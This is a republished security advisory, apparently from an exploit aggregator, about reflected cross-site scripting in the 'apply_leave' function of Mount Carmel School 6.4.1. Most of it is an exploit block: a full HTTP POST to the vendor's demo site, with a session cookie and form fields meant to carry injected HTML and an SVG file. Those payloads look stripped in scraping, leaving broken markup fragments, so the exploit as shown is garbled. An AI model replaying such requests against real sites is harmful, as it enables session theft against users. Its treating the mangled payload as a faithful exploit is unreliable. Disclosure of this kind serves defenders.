Exploit/Advisories

Published on October 17th, 2023 📆 | 8141 Views ⚑

0

2023 Mount Carmel School 6.4.1 Cross Site Scripting – Torchsec


Text to Speech

## Title: 2023-Mount-Carmel-School-6.4.1 XSS-Reflected - User Interaction
## Author: nu11secur1ty
## Date: 10/14/2023
## Vendor: https://smart-school.in/
## Software: https://demo.smart-school.in/site/userlogin#
## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected

## Description:
The user can manipulate the system by injecting an HTML code into the
system without any restriction.
The function apply_leave is not sanitizing correctly. This could allow
the user to inject this
application by using HTML or Java Script with very malicious purposes etc...

STATUS: HIGH- Vulnerability

[+]Exploit:
```HTML
POST /user/apply_leave/add HTTP/1.1
Host: demo.smart-school.in
Cookie: ci_session=495u2fpup87iml75p4us2uuqgqkpsof9
Content-Length: 1492
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary5wuzslDN9siOCW0K
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132
Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.smart-school.in
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.smart-school.in/user/apply_leave
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="homework_id"

------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="apply_date"

10/14/2023
------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="from_date"

09/27/2023
------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="to_date"

09/29/2023
------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="leave_id"

------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="message"





rel="noopener nofollow ugc">
style="border:1px solid black;max-width:100%;" alt="Photo of Byron
Bay, one of Australia's best beaches!">
------WebKitFormBoundary5wuzslDN9siOCW0K
Content-Disposition: form-data; name="files[]"; filename="kurec.svg"
Content-Type: image/svg+xml


"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

stroke="#004400"/>

------WebKitFormBoundary5wuzslDN9siOCW0K--

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/smart-school.in/2023/Mount-Carmel-School-6.4.1)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/10/2023-mount-carmel-school-641-xss.html)

## Time spent:
00:37:00

Source link

Tagged with:



Comments are closed.